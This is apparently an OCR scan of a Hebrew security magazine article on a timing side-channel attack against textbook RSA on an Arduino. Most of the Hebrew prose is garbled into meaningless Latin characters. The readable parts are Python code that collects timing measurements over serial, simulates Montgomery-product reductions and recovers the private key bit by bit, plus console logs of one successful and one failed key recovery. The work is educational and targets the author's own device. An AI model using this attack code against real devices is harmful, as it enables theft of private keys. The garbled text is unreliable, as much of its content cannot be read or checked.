TIX 71N N''¥Y NN2N2 NND9N 75 .0'aN2 W NnINN NN 2I'0 NP VIYD XWINA [ITX N ,NIY7IN
NN DNN ' DX V'7NNY D'01NI IXYNIY D'AR1] XINNI QA-N 'WIR DY DT DNA NIYA'NN NN

(DoYo X i) "nkan N0 ZINY D'NIND NRY' Ml I'YDY [7N7

NN 2y 07NN (bug reports) NINAW 'NINT 'VNIVIX [DIX2 NNA7 N71>'2 0T CSET 7w XN *ann
DINN2 D'NATPX DN DMYR 71817 NIN1IY NNV NY7IN NHINYT 717V KID DRNTARAN 79 Dminn
N7 11NYX7 ,0T170 1AKN 12D 'NIYXY 19D 'YYN WIN'W NNWONNAY NIRXIN K77 DAN ,Nw 15-3 11D
NIV NIRXINT DYAN DFZINN 20N NAN D71V MDA NT'AY 7¢ D'TPR DNAKNY NDW 11T
DN7Y 'wyn win'm 728 ,0'0102 NIMUNN 0191 DDIT DINKAN 0107 D' ATEN 1101 NARN 7V TINN

(00w 17X7) wo1 NON7 DA

1270 - NIN'XAIL 9D 210 NN NMIDND N2
www.DigitalWhisper.co.il
49 2022 'oOx ,138 |12



https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf

v
¥
14

.Technoloqgi

N7210n MIdN NTN7Y AKINY NN D'MIWD 197 NNOo1D UDIONP'M NNAN LI7K D'INRN NNIvY?
nirT (D) ' 2un 7y mik on7w TN X7 1981 NNVAK N7 01027 DR 17X NN7¥N] 2107
N7ITA NINDY7 NW'A DY "IN NNANY T'YN TN I7NNN NI .09I0NP' NNAN 7w D'NMK DaNa
NN2ANY7 W NNAKR' D1IR''Y W TXA ONIVIX [9IX NIX 2107 N'7¥N7 Ny DN 'NIFT 79 TIKN
NN .DI'N 1N 21T ,0'ANK] NIYWIAD] M7 1D'WUN' INWN 7D .0AKA |I'7'n 7un w' 0910NP'! 1D

.0"7NN7 "> XKan NYXINN DI019Y7 'NNNY7 VXY

IRl NY7INN NININ DX TANYT )X TV ,IWOKR (NW7IN) NNVANR DIFKD 21101 12D AX] TWKRD D2
Common 7w 1Ix'P) CVSS-n X171 DI 72PN '0ITIVON |NAINN .NNIXK 7¥17 NINaon NT'n
DINNQ DA .NY2INN NYNINY [I'Y D'YAIRI D'NNIN D'NAM AT (122002 . (Vulnerability Scoring System
TIA'Y NIYXAR NYWYINN IRT 7W NN NIDA DTN NIYXANKIY D'RINY D'ATRR DNPNn W' 0T

.CVSS-n |I'¥ DX 'UNIVIX [91X2 Y127 N4 (NLP) n'wav nov

CVSS SCORE METRICS

A CVSS score is composed of three sets of metrics (Base, Temporal, Environmental),
each of which have an underlying scoring component.

TEMPORAL ENVIRONMENTAL
METRIC GROUP METRIC GROUP
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RBCS - A Blockchain Based Reverseshell
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NINVW IND VIYO RSA-1 D'UNNYN X7 nn'7 n'7xwY

NIdN Dy LRSA DY NINdA DD7 W'Y NN MRAN .TIRN IXE NDWNN DR TN D121 RN IRYT
2V |27 |'2 0'9¥N NNIRY DY RNRY 07 y'mn ,NTh YT'N IR D7 'K DX .1I'RITIR DYI '0'0

.Side-Channel Attacks-1 1II'RITIX 7V DTIPN 1MXNY IX RSA
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Timing Side Channel Attack - Nn1IDTNO

VUXIN X' 1AW Tayn At DY X0 ,NImeion Ni7ivo y¥a? 2im nnimw 1 ,00'an n70w o)
> ,0'0A7N DNVNNSY DWTIN NI NT'A D1 . TITY? N1 Tavnn 7w QTN At DX .D2Iv'n
2V IX NDWNN 7V NREon 7'on7 N1 ,NYNNYN NDIYNN DAY Taynn NIIVZUDIX IN D'MNNIRTRD

.Timing attack D'XI7 NXTN 210NN NISPNNAYT .N2 IWYIYW NI7IVON
.DI'N UNNn1 NNIXY RSA 11D N19¥N 7W 009N D'NMNNIAZR 7V DA, Timing NI9NA [N NNy
?0WYI DNIX DXV AN TN

2V pn WNK7 .RSA textbook-2 nunnwnw NIyTIA 7Y NNn'MN NDIYN D121 NNIX NN 70N

.Timing attack wnni 11NIX NXTA Nd>NN

NI RI¥N7 [N INKNAN 17002 N0 TIzn 27 1wy

?RSA 1nn

.D1'D 2NN WIN'WA [TV XD ARXNINY NIYRIN N'00I'MNI0T NI NN9N NIO9XN NDIWN X'N RSA
,TI02 MIWIY NIYON NNONN MUY XINITIO 12'K NI9¥NN NNON ,MIA'Y NN9A Nd>wn 7310 ,RSA
PN'91YW (MWDK 'M71 LYNDNI) 'WYNN 'WIpNN NYail RSA2 NNUN'OXN .NMUN'OX NXRIZI RN D7
TN NNINS N'wa 7V NaIm) D'7ITA DMIWRY Y 79 7190 NINY 719 19010 7w 0y

.(omo0nn

nwp N N1'na X .N = pg DN7W N79000 MR AWN71 p, g DMIYRI D900 Y 1IN N'on' 7 ,nid
NIW? NXNY M 727 yIT1 yoIinn ,NN5N1 IN,"MI2Y 7V NYANWA N19¥NN .g-1 p 1'ANIA IR XIXNY
INIX 7'0N7 N X271 TVIMN [ynin T 7y TI02 1MWIN '01D NNON NIYXNANKA Y¥INN NIRYON .AYTIN
- DdOM TIO 7y MW7 DNIYNN DFTTYN YN WNT? 220 NTAY DR N19¥N .NIAND NNSNNN

N7IW7 N7 X X7 071v7 '019N NNonn

NN'Y 1AY7 220 RSA 7w 07019 NINNSNA ITNYWY N1 D IKIN DNPNN 0T TR '0NNn 27in Ninn?

.Timing attack NIy¥nx2 X7X RSA nNX
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7120 "TION VNSO NIX 7'0N D21 NIDXN DNNIAZR 7W NXIN T 212NN PINN AT 2101 N9PNNA
|INTN NI5PNNYT RSA 7w Niynon ,N1'w' n9PNn 151 jam RSA D 0Don? 7aizny ninn% .niiyosa

NN 0MYnn NIANP oMy ' vim N

X'N 117¥X) RSA 7w N19¥N Ndwn D'wnnn XD 101 o' T Nt 197 AN .NT 210N NO9PZNN YnNnl Nyd

.NOPNNY7 y'21 *1O YN (Arduino NI7 1IN wninn

D71V2 7201 .e - NI TNXIE d - '019 TNX ,0'M0N'0-X NINNON YW W' RSA NdIYN2 ,11ANdY '9)

170TNY 0NN N9 RINY L (XD XN77 [N NN71ITINMN np'onn RN 071y 7y) N 17mn

N N (17T nptn) m¢ mod(n) N71IVON MK NYXAN NI9XNN NN ,m YN ['oxnY? 72wl
Repeated Squaring DNMIA7X NIYXNKR] Y¥11 modular exponent n71V9N NX .modular exponent
N9ZNNN DWW [11'D1 ,021D VYD NINTA NO'WN 7V .0'7'W' NNIX2 modular exponent VIX'A7 NU'W KINW
,¥UnNn 0'71Ta 01901 7901 M2ITAY 11PN .790n0 N7IV91 wnnwn Repeated Squaring .nn'pnn n7v
D'71T2 090N 7w 79> N7IY9 yxanw ,Mongomery Product NX1j71w N90I1 NL'WA WNNYN Xin

N7 NINa

.nPrime DNMIA7XN 7271 DNIRI .DNVNID 190N W NNTRIA NN WAIT Mongomery Product
790N N71YD NX D'YXIN 71 DAY (11N ,|XD 7nyN] X7 -nPrime-1 Mongomery Product D'nn"Ia7xa

LN RI¥N7 [N 0NY7Y Q0N YT (W'Y [DIXA X7 NINDYT) NOPNNN wINM 7y 0'Y'OwN X721 N7'Y' NIIXa

Repeated Squaring

0'011 NTAIY X'NIN7'W' M2 modular exponent VIX'A7 NU'W KIN Repeated Squaring 11MNKY '9)
D'V AN NTNNN DX P01 TXI K12 19017 (*'019N NNO5NN) d DX 1N AR IT V'YW .1N7W NOPNNN

m"? Ixnwn

YN DX 7'921,1 11'A VAN DX ,q01al .(Mongomery Product) yia'a m NX N1 IX 01 DA
TIX D'10 TWUKXD) N'¥I0'X 722w |aInd .(Mongomery Product N9 D) NMipnn nyTINN DY 172w

/I Compute y = x* (mod N) NNN9N D'wy¥an ('m™? 7xnwn Droan
/I where, in binary, d = (d,,d,,d,,...,d,) withd, =1
s=x D712 IRY'N7 D NIXN DTN (%n)
fori=1ton
s =s2 (mod N)
if d, == 1 then
s=s-Xx(mod N)
end if
next i
return s

N ITmn
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D'YXIN X 27W 7D 9102w Pl TTIA VA 7V PO DY75N0N 1IX A7W 7221w D1 YIV] NV NN
yx¥2"? 7pw (D'7910 12K DNIXY 019017 0N D'DIN]) 02111 DYI®0NA TN DIXWI X NI .ANN9N

N171v9 DNty

NVIYD N71WDY 124° mod(40) n71von NX 117 191N Repeated Squaring T¥' NNAIT AN
:INd> MYON X7 N¥p INWN 2WN7 DIpna
12%% = 3657261988008837196714082302655030834027437228032
:RXINN DX QWUN7 TNI
3657261988008837196714082302655030834027437228032 mod (40) = 32
:INTD NIX] 7V9)
1245 mod (40)
'™ 7AW IMIX 1IN0 'K 19017 NPTNN NIX ')
(45)10 = (101101),

V122 0701 71 1971 0 KIN WD 0N 1NN D7YNaE 1 T'AN KN IYRIN 0N
122 = 144 = 24 [mod (40)]
MIPNN 190102 7'901 DAl VIAMA NYYa DA P71 1 KN 'WYUn 0N
24?2 x 12 = 6912 = 32 [mod(40)]
117NN 190N2 7'921 DAl YIaa N7y DA P71 1 KIN 'Wn 0N
322 %12 = 12288 = 8 [mod(40)]
Y122 n791 71 P71 0 XD 'wnn v'an
82 = 64 = 24 [mod(40)]
MI7NAN 190102 '7'901 DAl VIAMA 071 DA 71 1 KN 'W'wn 0N
24?2 x 12 = 6912 = 32 [mod(40)]
2N NN N0IYD MY AXRYINYT NYANY NIKYY N

.N9PNNA 7¥11W NdWNA 7Y DW7IND NTIRA XA - 2%W 7D 9102 DYYYAINY DINTA NNN9NA ,7aN

RBCS - A Blockchain Based Reverseshell
www.DigitalWhisper.co.il
65 2022 'oOx ,138 |12




Technologic

NIX .'079N NNONN NIWXNNA (DNIX |'OX' WN172) DAY DINNt 0D 727 Arduino-n N>WNA N7XX

)2 DR NINIE XD RIXNNYT N1 Arduino-2 nntminn 7w Tign

dInverse (r, n):
(r * rinverse - 1) / n:

ST "'V IR NN0)

J¥NW DMNARYRN NIvynka m% mod(n) NN NYaxn Dxya X'n ,modxp DWA N'¥71I9 NIXYY N1

:0N 0727170 DNVNI9N

.m)DiImnl NNIRY nYTINN-a e

22w2) 190n> K71 D'V 7Y NTNNND N7ApPNN X'D .'0190 NN9NAN K'Y ,(d) NPTRN - exp o
.(Repeated Squaring DN"MIA7X

JATmMN DYy -n e

.NPrime N'Xj219NN D'V AN DN N'YZII97 D'YMONY NDTNY D' TN DUNID DN -r, t o

MmN TV W', TIRA NIKNY N1 9D .Repeated Squaring DNMIIAYR NX NIKYY? [N DITRN YA

2V .N9opNNT NN'Y MY X7 X'NIEINDTRY DINNIRZRNN 770 X'D NR'unnnn 72 .210n np'onnn

NP'ONNNN 73 7V 2'NN1 X7 1INIX,0'RIN DNRY '9D,1NYX7 .091 N9 ,N9 XNP7 N1 np'onnnn '

(: MxNN NI71222 WRWNT T A7'wa .RSA MINKN
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NOPZNNN INKRN TRIYN JI'VIN

N7Y i Z2<N<Z3-p'pnnoal Y3 < N- 0"pnnw 73 Y, Z NiyTin "My N1 IRY N
NINY [I1"Dn (N'wwa 0%Vl i) 17w MIpnn va 7'9211 YA IR N791 OX 01 NNNSN 0Y
Va2 72K .WI2M2 IMIR 0701 DX 20 ANN9N 10X X7 Z ,NRT NNIWYIE.n 12Tmn 021yn Nk [up IRY!
2ITa D RINY (11N ANNON 0Y KIN (MW 07V1 ni7D) 17w Npmin w2 3'NR IR 7'901Y

.Nn172Tmn n72ivn N

:D"IPN W7 2¥NN DX 7707 N1 ,AN'MN7 DIYTINN TIX D'N7IY DRY INKRT DY)

NX 7'90n7 770N P7 ,1 XIn Repeated Squaring DN NPTNN 0 - [IYRID QIgna e
NN'MNN AT YN 0T NN .YIAM2 ANIR DI7YRYT 71 K21 DNEnn nyTina nAnnin ayTinn
17ITIN 071y N71ITa NN RN DWW Z QYT DR DY791 UKD D AT N Nt Z nyTin Y
N7 ,N'whwa NNIR D'72VUN YWKRD DA N 177NN 07Ivn 27m ainn X7 Y v Tin  NRT NN .o

DX Nt N7v Nn'mnn nt |3'7 .NNNON YINTN

NYTINN DR NI7YNY7 71 10X 07,0 RIN Repeated Squaring DNMINZXA NPTNN V' - AW AN @

¥ Nn'MNN AT 0T NPN DNIPRN NYTINA INNNIN NYTINN DX 7'9507 71 ,y1aa nnnnin
.NNN9N DIVX! X7 [NNWY (11D DHY AN DIYTINN 'Y

|'2 NUWNYT 7211 ,|NIX DINNY? NRI7Y XN AT DNn DY IR DAMNY DIYTINN IR 1IN7WW)  ,NYd

Z1Y 7w nxnn anat

X7 |3'7I Z Ny TIn? NNN9n NN R D) 0 KIN XAN LAY YT, DY NIF IR NIND DN NN'NNN AT DX
NN Z nyTinY D) 1 XIN XAN V'ANY YT ,D0IY I'N' NANNN AT OX NRT nniyYi .(|YJT NNy I"l|7'7

QN1 X N NN At Y1 NnNon

D'XNNAY '019N NNONAN NX K¥NIY TV ,NNONA D'0'AN 7D 1AV AW AW AWVl TN ']"7.'mn nxX

ANIYIAY NN NNonYy
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nopNN7 N'NYn

DWY NIYVTIN '97X DY 11N20nYW NI71IYV9N NIX Y¥A7 710X ,N7'W' NNIX2 N9PNNRN NN VX7 210w '

17w Nn'MNn Nown RINY - 17w Arduino-n N7 DY NN MIYPN N> N1 D

Vo"MpPoN .(PySerial N"M901 wNNwa) [IN'O AINDIY USMIPO NIYXNKL VX1 IN'R MIYPNN NX
NN 1NN 7221 Nn'NNY NIYTIN NI77 N7w1 7D nivynxa Arduino-n 7 "RMON VII95N DY WP

MY MM An'nnn NT DX T TN '7'3.|7Y.\3. .0Minnn 0'>nyn

NTNNND NA'MN7 Y TINN DX 727" KN ,02 64 7w 011901 0y TIav? Arduino-n Ni7 7w Ni22an 2y
NIX TN’ D'V 7W NTINNAY DITNA NNIX 1A' DN INX7E.ANIR DINN' 190107 DNIK MY ,D'01 Y
Yalz J1M2 2w (atal NaInNn AYTINN  NNIEAN AYTINN) 178N DDA DWW DX .An'Mnn
WNna N20I'Y 19D NOPIINN VINY I'7V 002N DN INK7Y

N2 AR 7Y TN

def write(data):
while not arduino.writable():
pass
arduino.write(data.encode())

def read():
while not ardulno.readable():
pass
data = ""
while data == "":
data = arduino.readline().decode()
return data

read N'¥j119 17 W' 0112 .NI77 DNIXK NYAYNI 0RIN N77NY write N'YRA19 117 W' NIRTY [NIY 19D

.NI7nn NTN'y 01IM? n1'Nnny

XD TIPN DR KIXNY N1
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nopNNN '7nN

NI'NITN NIYTIA 'YX N7W1,'019D NNONN NX'YN7I DIATA NINYY NN AN'Y 1O ,101200Y '9)
10190 NNdBNN NIYYAXY NIX DINN'Y NN 7Y, Arduino-n NI77 117w Npnal 17w nfnnn ndvnY

.NNIX DINNY NDWN? NE'7 AT NND TITN1 NYTIN 7D 112YY [21MD .DINN N DR 17 TN

yx¥a7 21, 07w NN T DYTIN NIR 7Y DmMnn ,NIYTIN 'YX 7Y 1aKN NNIYIA NN'YY DR
DY9 72 NI72%7 DN 1INIXRE L XIN '0190 NNONAN 7Y [IWRIN 0'ANY 17 VIT 2IWURIN 2792 .NINN DX
NN NIYTINNA NNX 72 7Y 7'w911 N7 NIYTINN NN'wY DR NP NYD .NN9N2 XN VN NN
N2N 022 DXN PIT2 NYTINNA NNKR 7D 1Y .17 VITY 01N TV Repeated squaring DNMIAZRN

(X7 IXN %-2 01X 0N ORD,ON70) K7 INNNNSN W' 1 XINW NN

NIXAR MW7 79 DIYTINN '97X 7W NN'wIn IR DXV 7701 D
1 RIN X2 02N DX DNN9N IX NN MY DIYTINN D - 'R XIp e
.1 NIN N2N 0N DX NNNO9N NIX NN KT [NAY DIWYTINN N DIYTINN XY -2 axinp e

[ATN 197 X7) N7W NAaRN2 D'W'OIMY DIATA 97 NXIAR 7D 1AV DX AT YXINn DX AWN1 DD

(ny> v

[I'AN MNXQ 'RY RN NIYNYUNN N7 1'D DP7'NY NIXIAPD |2 DAY W19 DX L,PITA) DN NRY
DINNY T NI NPT 271.701X X77,0N0 NNN9N 1'WY NIYTINNA 7707 1172) 1'WyYw npI7nd Inw'?d

.0 NIN X2 VAN N'IAY 1 KN 0'ANY 7Y NYWNN PYI(INIK

AN W'Y 2'0NY7 N1 ,MIvnwn K78 N7 1R DP7'NY NIXIAPN [ 0ATH W90 OX ,NRT DNv? X
NNNON 1'WY NIYTIN 27U NNR NXIARY TWKD (121 17V NNXRAY 2'0N7 [N 17D) nyyaw npi7na

1NN '9) 1 XIN KAN VAN NNXA |D'7I (N'? n'un nxnp'n

ns),'mn'7 D'>2Y 1 axkn N'Ma

.n TYI 1-n,011Y 07722 DN190N '97X NNd 77N N'WRIN NYZII9N N'WRIN NYAI97 11aY1 NYd
N7W NNNON Y¥11 n-n NP 721 OXR D7 .09 177N D71 ATV 1N XN on TV 71 7128 naron

NOPMNT7 WP 72N - NINY

NITNN X' AT DN TITANE AN'MNY INIK N7WN KD ,7790 'WRIN NNDINNY 190n 7D 11y
NNONN NX'¥NI DTN NINAIY7 DNIK WNY'Y YAl 1IMY7 VTR0 7 DX 2NN X' DN INK7 .NaIwn?

L0ON

RBCS - A Blockchain Based Reverseshell
www.DigitalWhisper.co.il
69 2022 'oOx ,138 |12




Technologic

)2 IR NTWRIN NYDINN W TN

3839256683
= 548447537

™ =
n

with open('timeData.txt"', 'w') as fl:
fl.writelines("N,E\n")
fl.writelines(str(n) + "," + str(e) + "\n")
fl.writelines("message,signature,duration\n")
for 1 in range(l, 9000):
m = random.randrange(1l, n)
t1 = datetime.now()
write(longToBytes(int(m)))
c2 = stringToInt(read())
t2 = int((datetime.now() - t1).total_seconds() = 1000000)
fl.writelines(str(m) + "," + str(c2) + "," + str(t2) + "\n")

(M17n NIy¥xnx1a) IMIX DMNINL'197 117200Y '9) W 0720 R NR7I70 JIMAY TIpa NIKYY N2
Yalpn QM7 72T 7w 19102 D'AND 790 NN DOAT DYTTI AR A7 2 .DaIWNn DX 0Y7apni

.timeData.txt

2 XYY NI 9000 Dy yal? 9102 7271 3o

1 N,E

2 3839256683,548447537

3 message,signature,duration

4 1825426693, 481823779 ,2280893

5 2110686704,3072422398, 2497166
: 1334428208,1599528745, 2093178
7 1265195384, 2942524450, 2186568
8 2409436678,1375084233, 2093802
9 401252935 ,2464631800,2186973
10 1695206886,2565208005, 2690551
11 2933055133,329494375,2593669

N 17ITInn DRI NIRYD NNSNAN DX INNY Yalpin n7'nna

nownY? I'l|7'7U NMY NP'Na [T DXL AN ayvTinn ,nyTinn DX nIXTY? N MY o2 |2 IND
NNONN 1NN XXN'l Yalpyn X 'y n7v xan 09" 7ON NX YNY! 178N D2ININ 7D .ANIX DINNY

.(0'9011 D2 T NNdINNONN 77122 'I'7]'\) NYWI XIN N1 AR 7w N1dNN |nT .'075N

XD NIXNY7 |11 0'S0I11 DMARNI NTN NARNN DX
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AAXKNN NINY
.9011 U970 NIYXNKI INIX NN1 NAXKAN NX NP NYD

N7 197 NMINNN NIWTINN DX 2707 N0 1 XIN X2N V'ANY N YO'M7ON ,11N10NY '9) 7Y D]
|nT2 ANN9N NDNY ' K7W NIYVTINT DY AXARE ANN9N NIDNY 'Y DIWTINY DNR NXIap)
Repeated Dy wnmnw RSA DNMIATZX '97 INXY2 DINN' NIY9AN UOIRPON D NIXIY 2N .(NnMnn

.Mongomery Product nvi Squaring

227 7w nooin ny X Arduino-n NI7A N7YNY7 'R D PI'TA AR 17 ('oxn) oninn TIpn 27
N¥IAP NT'RY YT NAMNN DRXIN OY Th'AY 02D .X7 IXN NNN9N NNY'N DXRN 7n0nv red nwa qon

NYTINN DX A1OY

def rsa_sim(m, d, n, k, r, 3):
This function simulate a encrypt/decrypt message m by rsa protocol
:param m: The message we want to encrypt/decrypt
:param d: The key
:param n: The modulo
:param k: The k for montgomery product
:param r: The r for montgomery product
:param j: The bit we want to test if we have reduce or not
:return: The encrypt/decrypt of message m and True/False if we have reduce or not
(m=*r)%n
Xx_=(@*r)%n
new_d = d[:j]
new_d += "1°'
red = False
for i in range(®, len(new_d)):
X_, _ = MontgomeryProduct(x_, x_, n, k, r)
if new_d[i] == '1':
x_, red = MontgomeryProduct(m_, x_, n, k, r)
X, _ = MontgomeryProduct(x_, 1, n, k, r)
return x, red

m

TV IRXNY NNONN 7Y WY DXV DTV .I'Y7Y TIAY] I'YDYW NN9NN 1NN "Dalp" X DITRN YIana

.11N20NVY '9) 1 XIN KAN V'ANY NNINN N90INA I'YDY

DXN NNTN2 N7APNI rsa_sim N'¥R197 NNZIYW ,NARAN NN AYTIN OYS 70 N72pn nRaN N'Y190

N7 INDNN9N nn'pnn
.NNN9N NN X7 DX nored-1 NNN9N NN DX red S2NIXIA MW7 NIYTINN DX NANONA XN 0T '97

T2 D'RNY '9)
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def split_messages(d, n, k, r, bit, datalList):
This function split the messages to two groups. reduce in bit(bit) or not
:param d: The key
:param n: The modulo
:param k: The k for montgomery product
:param r: The r for montgomery product
:param bit: The bit we want to test if we have reduce or not
:param datalist: The messages
:return: two groups. reduce in bit(bit) or not
red = []
nored = []
for m in datalist:
c, bucket = rsa_sim(m[@], d, n, k, r, bit)
if bucket:
red.append(m)
else:
nored.append(m)
return red, nored

main-nn NI X' .Y INK MY 7Y 1Y) D71 127W DAIWNN Y190 KD NNAN D190

V192 NNONN DX KI¥NYINARAN 72V 11aY7 nTPoNI

139 def RSATimingAttack(n, data, ratio):

140 e

141 This function analysis the time that took to encrypt the messages and find the private key
142 :param n: The modulo

143 :param data: the messages with the time

144 :param ratio: the delta

145 e

146 (r, k) = nPrime(n)

147 private_key = '1'

148 bit = 1

149 finished = False

158 while not finished and bit < 32:

151 (red, nored) = split_messages(private_key, n, k, r, bit, data)
152 red_avg = calcAvg([m[2] for m in red])

153 nored_avg = calcAvg([m[2] for m in nored])

154 print("Difference of averages:", abs(red_avg - nored_avg))
155

156 if abs(red_avg - nored_avg) > ratio:

157 private_key += '1'

158 print("The next bit is probably 1.")

159 else:

160 private_key += '0'

161 print("The next bit is probably 8.")

162 print("The private key until now is: ", private_key)

163 print()

164

165 if testKey(data, private_key, n, k, r):

166 print("We did it! The private key is: \t", private_key)
167 finished = True

168

169 bit += 1

170

171 if not finished:

172 print("can't find the private key...")
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:DNVNID NYITY N7APN NYRIDNY NIXATZ N1 139 niva

J2mTmn o7y -n e

.[N2Y NIXY NIYTINN NARN - data e

Q102 .0 NI'N7 1IXY VAW IR 1 KN V'ANY NN DPTY OXN YAPI I'97W N'VON NIIO - ratio e
ANIN DWW TXD1 D WIN'YN IR 7170

.119%7 12'X1 12OV '9) nPrime NIy¥nXa Mongomery Product-7 7Ty INwnn NX |'D1 46-1 DN NKY

NIM 7NNXI NXR NMIYIE TN IRT 0190 NNO9NN DX INY'Y MINYNAN DR 7NNNK] NXAN MY

NIN N¥YNMY TV NTAIWY Ax?177 0101 150 - 170 nNiw2a pn INXY L1272y 12D D'01 Nnd 1910Y

(T2 X7 Inwny nyT? "1 - 012 32-7 YW TV IX) '0190 NNONN

N7¥ red nN¥IAR ,NN20NY 'DD NIXIAP 'MYY NIVTINN DX A0 7D DTIR 151 niwa Ax717n Jma

.NNNO9N NN X7 N7W nored NXIP-1NNNSN NN'n

ON' DXN 71721 156 NIYWA DN INKR7I NXIAP 7D 12y 0T YXIinn DX awnl 152 - 153 nNiva nyd
(ratio-n |O) NT XKINW IX (157 NIW) 1 XIn 02N DX P71 (ratio-n 71Ta) NAT X7 NIXIAPD |2 DAt

.JYNN2 11201 ratio MR YIARY7 ¥ (160 n1Iw) 0 XIn v PYI

21XV - D DXI I'WOY TV NNONA N7TX DX PITANY testKey n'¥j7119n NX 7'w91 12X 165 nIwa l]lOJ'?

X170 DR

ONXN N'TANI DIXRXNY NNOSNN OV DNIXR NNNIN ,NARkNNN 0DV 190N nn,‘n'? LIYO testKey N'¥j7119n

DANND MWW NN D7 K7 IX N1ID1 NRXINN

09N NNONN NX RXIN KIN TXD AR 09"M 0N NX YN NVD
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NN NNAaIT

MAXN N2 7Y 2192 1197 1112 NaRnN 7 Y TIEn DR 150000 Nt ratio-n 117w N¥INN NNAMA

:NOPNN7 DD

1 N,E
2 3839256683,548447537
message,signature,duration

4 1825426693, 481823779,2280893
5 2110686704,3072422398, 2497166
: 1334428208,1599528745,2093178
7 1265195384, 2942524450, 2186568
5 2409436678,1375084233, 2093802
. 401252935,2464631800,2186973
1@ 1695206886, 2565208005, 2690551
11 2933055133, 329494375,2593669

YN Y2 RIN DX NAT) U9PON DX YN DD NIy TIN 9000 7¢ nn'nn 1M1 71 1aRNnY 1IN
NN NNIY M 771 (NpT

The first hit is 1

Difference of averages: 187986.2268589628
The next bit is probably 1.
The private key until now is: 11

Difference of averages: 173582.780728376%94
The next bit is probably 1.
The private key until now is: 111

Difference of averages: 137093.0452079922
The next bit is probably 0.
The private key until now is: 1110

‘2271 Q1027w Ty

Difference of averages: 206346.6489106221
The next bit is probably 1.
The private key until now is: 11100100110101001000010001010001

We did it! The private key is: 11100100110101001000010001010001

11727 NN 0]

D'IATN YXINN |2 YIONN NIYRIN NIV NNIY YITY 117 0'9 T 970N ,27W 701w NIKYT7 N1
ratio 7WN '97 Yap1 NTw 11 .1 IR 0 KIN 02N DXN IRAN NIYA DN INKRT7E NIXIARD MY 11y
|21 (ratio-n 21T2) N7 X7 NINIAEZN |2 DT YXINN WIS OXRND 1701 (150000 RID 1N7@ N1jpnawv)

.0 XIn V12N P71 (ratio-N |VP) NAT XINW IN 1 NI VAN DX
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.ND TY RXN RINY NNONN NKX 0'9T' U9'I70N NXKAN NIYA

NNZ170 NN DXV R'ND P71 '00190 NN9NAN DX 1IXYAY NNN'T testKey n'y¥j71190 ,0'10n 27w ,91017

:NNO5NNI N71Y9N DI'0 7V NV TINN 17 NOSTINI

We did it! The private key is: 11100100110101001000010001010001

ratio )yn nyap

N7 D'IATH YI5N DXRN .UI1|7'7 nin 7y DAt NINA ' N V970N NXR WNW'Y ratio 1yvn Nyap

. DAIoON N71V9 NINT K7 IX

[AT ,AN'MNN VIXTA T ,N2I5NN 7W N¥MN AT D'AYNNAY D'0NNN DAIY'N '97 YA ratio N
(MPnn 2y TIkn y'ownw Arduino-n NI7A win'yn DA 17¥X) NDWNN 7¢ NNRN ,NNN9N Vi

LRXINN DX 727271 TTI2 W 7V DIMNY 117 npi7 (AT nnd2a 17N Tt ,ni? [N viNa LI

TIN NXN1Y TV INKX ratio 70y DY QY9 751 ,0'Ay9 1901 Tign NX yIn? TWOK DT DIPN1Y |2md
NX™M 7Y NPT 5 7Y 121 9102 7aK T NXP NPT AT DINIXK .('019N NNONN DK K¥NIWD) 130 VN

JNIYNWN X7 DT NPT '¥N DN

-12'¥1,72 DTIR 0T DX WY 2 .[1230 1WA IR 0NN 2'0n7 NI0171 DRINIA IANAY X'N D901 T

:NNONN NX'YNA 7WI'N K'Y [N ,NDIWNAN DX AW YN 0 1 DX ratio

can't find the private key...

.17V ratio YN NN 0NN 7'0N%7 N0111 117 109TINW D'IATN 2V 7DN01,7aK
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0'21N1 0DV DV NIY AXIApI MNI' 0'NIaa 0Dy

The first bit is 1

Difference of averages: 187986.2268589628
The next bit is probably 1.
The private key until now is: 11
Difference of averages: 173582.78072837694
The next bit is probably 1.
The private key until now is: 111
Difference of averages: 137093.0452079922
The next bit is probably 1.
The private key until now is: 1111
Difference of averages: 147840.38634238113
The next bit is probably 1.
The private key until now is: 11111
Difference of averages: 133634.03459492
The next bit is probably 1.
The private key until now is: 111111
Difference of averages: 141838.72920653317
The next bit is probably 1.

The private key until now is: 1111111

Difference of averages: 127732.18294484867
The next bit is probably 1.
The private key until now is: 11111111
Difference of averages: 130305.78003233159
The next bit is probably 1.
The private key until now is: 111111111
Difference of averages: 137619.8641706151
The next bit is probably 1.
The private key until now is: 1111111111
Difference of averages: 139925.38081441494
The next bit is probably 1.
The private key until now is: 11111111111
Difference of averages: 144675.34778241627
The next bit is probably 1.
The private key until now is: 111111111111
Difference of averages: 145315.7908712808127
The next bit is probably 1.
The private key until now is: 1111111111111
Difference of averages: 137270.6971478518
The next bit is probably 1.
The private key until now is: 11111111111111
Difference of averages: 136953.3723948421

The next bit is probably 1.
The private key until now is: 111111111111111
Difference of averages: 140107.39883236773

The next bit is probably 1.
The private key until now is: 1111111111111111
Difference of averages: 131728.17272%960348

The next bit is probably 1.
The private key until now is: 11111111111111111
Difference of averages: 140500.97501439275

The next bit is probably 1.
The private key until now is: 111111111111111111
Difference of averages: 135371.55694211507

The next bit is probably 1.

The private key until now is: 1111111111111111111

DY NNX NX1{7 007 7Y NIXIAP Y NINT? 0N

.DN" INYO'N Y] ratio 1WA DX NI

Difference of averages: 142729.

The next bit is probably 1.
The private key until now is:

Difference of averages: 132948.

The next bit is probably 1.
The private key until now is:

Difference of averages: 134367.

The next bit is probably 1.
The private key until now is:

Difference of averages: 145426.

The next bit is probably 1.
The private key until now is:

Difference of averages: 131342.

The next bit is probably 1.
The private key until now is:

Difference of averages: 136155.

The next bit is probably 1.
The private key until now is:

Difference of averages: 130312.

The next bit is probably 1.
The private key until now is:

Difference of averages: 132867.

The next bit is probably 1.
The private key until now is:

Difference of averages: 126829.

The next bit is probably 1.
The private key until now is:

Difference of averages: 138589.

The next bit is probably 1.
The private key until now is:

Difference of averages: 147822.

The next bit is probably 1.
The private key until now is:

Difference of averages: 135589.

The next bit is probably 1.
The private key until now is:

97881431598

11111111111111111111

27755187592

111111111111111111111

15433216142

1111111111111111111111

18276158022

11111111111111111111111

06803474537

111111111111111111111111

43027170328

1111111111111111111111111

2138843555

11111111111111111111111111

6554789669

11111111111111211131111111111

95983718289

11111111111111111311111111111

06965380115

1111111111111121113111211111111

24046116136

11111111111111711171111111111111

44690011628

1111111111111111111111111111111

Difference of averages: 122560.57186330017

The next bit is probably 1.

The private key until now is:

111111131111111211111111111111111

can't find the private kev...

V9"PON - ratio = 0 DVW NIX17 [N' DITXA)

(7wm
